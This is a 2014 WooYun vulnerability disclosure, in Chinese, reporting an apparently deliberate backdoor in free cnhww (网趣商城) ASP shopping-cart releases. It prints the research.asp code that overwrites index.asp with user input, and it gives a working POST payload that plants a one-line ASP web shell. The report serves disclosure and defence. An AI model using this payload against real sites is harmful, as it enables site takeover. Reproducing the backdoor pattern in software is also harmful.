当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-063567

漏洞标题：网趣商城多个免费版本秒拿shell源码疑似存在后门

相关厂商：网趣商城

漏洞作者： 路人甲

提交时间：2014-06-04 21:38

修复时间：2014-07-23 20:40

公开时间：2014-07-23 20:40

漏洞类型：文件上传导致任意代码执行

危害等级：高

自评Rank：15

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-06-04： 细节已通知厂商并且等待厂商处理中
2014-06-08： 厂商已经确认，细节仅向厂商公开
2014-06-18： 细节向核心白帽子及相关领域专家公开
2014-06-28： 细节向普通白帽子公开
2014-07-08： 细节向实习白帽子公开
2014-07-23： 细节向公众公开

简要描述：

代码审计发现网趣商城多个免费版本秒拿shell，真希望这段代码是黑客后来放上的，而不是为了卖软件，故意留这个篡改别人首页的getshell后门。

详细说明：

经审计发现以下网趣商城免费源码存在getshell漏洞：
网趣网上购物系统时尚版V14.0[2014-5-21] 官方下载地址：http://www.cnhww.com/softdown.asp?id=1
网趣网上购物系统旗舰版[2014-5-8 ] 官方下载地址：http://www.cnhww.com/softdown.asp?id=6
网趣网上购物系统HTML静态版 V2014[2013-11-8 ] 官方下载地址：http://www.cnhww.com/softdown.asp?id=2
不排除其他版本也存在漏洞。
附：官方下载地址清单页面：http://www.cnhww.com/DownLoad.asp

漏洞证明：

以网趣网上购物系统HTML静态版 V2014为例，该套系统源码根目录下research.asp页面175行起代码如下：

<td align="center" bordercolor="#FFFFFF" bgcolor="#FFFFFF"><%
            	if request("search")=" all" then 
keyword=request.form("keyword")
if keyword<>"" then
dim path,myfileobject,mytextfile
 path = Server.MapPath(shopurl)
set  MyFileObject = Server.CreateObject("Scripting.FileSystemObject")
set  MyTextFile = MyFileObject.CreateTextFile(path)
MyTextFile.WriteLine (keyword)
MyTextFile.Close()
response.end
	else
response.end


其中shopurl为index.asp
利用过程如下：
post

keyword=<%25execute%20request("g")%25>

至以下url：
http://192.168.1.101/wangqu/research.asp?searchkey=x&anclassid=0&search= all
注意：all前面有空格。

1.jpg


即可得到shell，地址为http://192.168.1.101/wangqu/index.asp

2.jpg


修复方案：

官方懂的。

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：17

确认时间：2014-06-08 22:19

厂商回复：

CNVD对原理进行分析，确认漏洞情况（未进行实例确认），已经由CNVD通过公开联系渠道向软件生产厂商,发送网站邮箱，cnhww 通报。

最新状态：

暂无